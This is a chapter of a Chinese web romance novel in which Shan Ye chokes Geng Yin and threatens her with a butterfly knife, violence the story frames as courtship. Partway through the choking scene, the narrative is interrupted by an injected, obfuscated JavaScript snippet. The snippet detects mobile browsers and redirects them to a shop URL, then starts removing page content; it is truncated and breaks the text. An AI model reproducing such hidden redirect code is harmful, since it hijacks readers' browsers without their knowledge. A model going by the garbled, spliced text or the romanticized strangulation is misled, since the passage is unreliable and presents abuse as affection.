男人也太好骗了吧。
在耿音被单野安然无恙送回家的时候,她一边和单野说再见一边想着。
谁会对只见过几面连背景都不清楚的人动心啊?
可是不仅爸爸相信她对单野有好感,就连单野本人也相信了!
耿音计划的,不过是在搞清单野没有私生活混乱和其他不良嗜好的基础上,利用他排解一下自己这段单身日子的孤单。
虽然不知道单野为什么突然发疯,耿音也不想思考,只是一回忆起他刚刚那略显错愕和慌乱的神情,就觉得很有意思。
单野猛地放开手,将她推远。
“你现在是不是很愧疚?”耿音摸了摸方才被掐住的地方,“你是初犯,我不会怪你的。”
“我对你没感觉。”
单野扯了两下衣襟下摆。
“以后的事谁说的准呢?”
耿音坐好,打开手机的自拍模式检查了一下自己的脖子,笑着说,“送我回去吧,快到我敷面膜的时间啦。”
……
耿音刚走进家门,爸爸的助理秦叔叔便发了个文件过来,她拿起水杯点开文件。
是单野的资料。
上面说单野国籍为美国,是从宾夕法尼亚大学过来的交换生,目前是人工智能方向的大三学子。
耿音一口水差点喷出来。
单野脑子没坏吧?
居然从常青藤名校跑到宜大当交换生?
还有,他这么纯正的亚洲人长相,居然是美国人?
不对不对,耿音在脑子里拼凑出单野的长相,带入他是美国人的既定事实,耿音意外地发现,单野的眉眼远比亚洲人深邃。
难不成他是个华裔混血?
耿音继续往下看。
文件里提到单野的家庭,就是美国一个很普通的家庭,独生子,父母工资都很一般。
这也正常,国外普通人基本上都是月光族,能不负债的都算少数。
耿音最想知道的内容文件里却没有涉及。
她在对话框里打字:[他交往过几个女朋友?]
手机对面,秦海将问题抛给了耿先军。
想了片刻,耿先军说:“告诉她,单野没有谈过恋爱。”
耿音又问了嘴:[身体健康吗?]
秦海:[入学体检一切正常。]
耿音兴奋地看着屏幕上的回复,原来单野真的是远赴他乡勤工俭学的好处男!
这下她再也没有后顾之忧了。
-
单野的身体开始不听使唤。
他不知道这算不算感觉的一种,但他知道,这是反应的一种。
直到反应彻底消失单野才把面包车开回停车场。
不管是在美国还是在日本,都有不少风格迥异的年轻姑娘对他投怀送抱,夸张到他和藤原佑一在酒吧喝酒时,会有想攀高枝的女人试图扑进他怀里,然后被他毫不怜香惜玉地一脚踹飞。
当然,害他沾染脂粉味的女人,这辈子都不能再出现在日本。
这是耿音第三次紧挨他的身体。
单野想,如果还有下一次,他一定会让耿家断子绝孙。
不过,这并不意味着这几次就没有惩罚。
谁把手伸到他这里,他自然也要伸回去。
很快,单野收到一条关于耿先军的信息,足以让他形象崩塌身价暴跌的内幕消息。
只需要一个合适的时机。
可单野还没等到这个时机,耿音又像女鬼一样缠上来了。
只要他出现在停车场,耿音就非得上他的车,还嚷嚷着我不怕你把我拐走,我和爸爸说了,要是我没有半小时给他发一次定位加语音,他就会立马报警。
OK,单野忍了。
于是更大的麻烦来了。
耿大小姐过来从不吃饭,前几次单野都自顾自地吃外卖,耿音虽没有虎口夺食,但那张嘴从他动筷子开始便一直叭叭个不停,把单野吵得差点轻微脑震荡,以至于后来单野不得不给她也带一份饭,堵住她的嘴。
最令人烦恼的是上课。
哥哥明明说过耿先军查不到什么有用的信息,那为什么耿音能清楚知道他的课表?
这他妈就不是有用信息了?
专业课还好,这家伙听不懂就乖乖趴在旁边的桌上睡觉,可那节水墨画选修课就不一样了,她居然直接在他身侧看小黄漫?
她脑子没坏吧?
并且每当单野的视线扫过去的时候,耿音还装模作样把漫画藏起来,尴尬地笑笑,假装自己正认真听课。
装什么可爱?
单野只能安慰自己,这是在华国,不能随便让一个人消失,更不能让耿家的小公主消失。
可单野终究有自己的事情要做。
大半个月后的一天,单野联系好几家代加工工厂,专门选了课多的一天去谈。
第一门课结束,单野以去厕所为由摆脱了耿音,他没坐电梯,专门绕行到楼梯间,下到第三层的时候,其中一家工厂的老板给他打了电话。
四周无人,单野停下脚步和对方详谈细节,大致结束后,身后熟悉的声音笑嘻嘻地传来。
“单野,你是不是想故意把我甩掉?”耿音背着手,从楼梯上跳下来,“被我发现了吧。”
单野拿着手机的手猛然抓紧。
他太了解耿音了,她一定是在他身后待了很久直到他打完电话才肯现身。
也就是说,她偷听到了他的通话。
单野收好手机,摸了摸裤兜里的东西。
就在耿音走到他面前的那一刻,单野突然疾速伸出手制住她的脖子,将她整个人按到墙上。
耿音后背被迫抵在墙面,她感觉肺部的氧气越来越少,脸憋得通红,用尽力气想扯开单野的手,却只是更快地消耗掉氧气。
单野的手在慢慢上升,耿音只剩脚尖点地,她说不出话,浑身难受。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093585|195551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着单野,知道这一次并不是在开玩笑,疼痛袭来,耿音止不住地掉下眼泪。
脚边没有水迹晕染的痕迹,她的眼泪从脸颊一路滑到脖颈,流进单野的掌心,和前几次一样,带着一股难以忍受的灼烧感。
单野控制不住地松懈力道。
但没有放手,仍旧将耿音压在墙上。
耿音泪眼朦胧,余光里,他的左手从裤兜里掏出一个东西,甩了两下,发出很利落的摩擦声。
随着单野将其举起来的动作,耿音终于看清了,这是一把蝴蝶刀。
现在正压在她的脖子上。
耿音的眼泪掉得更凶了,但她没有哭出声音,只是抽噎着说:“单野,你有病啊?!为什么…咳咳,又突然发疯。”
发疯?单野让刀身贴着她的脖子,冰凉的触感让耿音浑身一颤。
“为什么一直跟着我?”他问。
已经二十四天了。
她到底有什么阴谋?今天终于露出手脚了?是她父亲派来的卧底?还是他父亲派来的?
耿音不知道这个疯子为什么过了半个月又要问这个问题,不是早就说过了嘛,她喜欢他啊。
更何况,这样跟了单野半个月,早就搞得人尽皆知了,圈子里不少富二代都在背地笑话自己,这时候放弃实在是亏大发。
耿音从不做亏本买卖。
她又嘤嘤嘤了几声,与此同时悠悠抬起双臂。
豁出去了!
也不管单野的刀是不是真的会划伤她的大动脉,耿音一把抱住了单野的脖子。
世界仿佛在这一瞬间都静止下来。
单野凭借着下意识的行动立马扭转锋利的刀口,从耿音的发丝擦过,有几根黑发掉在地上。
他想推开她,却有些使不上力。
直到耿音以一种十分可怜的口吻冲他的耳朵吹气:“还看不出来吗?”
她带着哭腔,有些娇俏地说。
“我想让你主动追我啊。”
……
单野愣了几秒。
这女人真是当惯了公主,凭什么觉得他会追她?
单野再一次举起那把小刀,刀背在耿音脸上滑动,仿佛下一秒就要刺穿她。
她身体颤抖的幅度清晰。
单野仍然保持缄默,只是用腕子转动刀刃,在她的皮肤上留下冰凉的触感。
耿音虽然有些害怕,但也只是把单野抱得更紧。
这样的动作很吃力,她必须绷紧脚尖,这也让她意识到,单野比车郡还要高,或许超过一米九。
正当她走神的时候,那把蝴蝶刀被转了一边,刺眼的光从刀身闪过她的眼睛。
耿音被吓了一大跳。
她才二十一岁,自然十分惜命。
没有任何思考就推开了单野。
单野站在原地,对这样的结果很满意,他指尖一转,华丽地收起小刀,语气云淡风轻。
“下一次,我会杀了你。”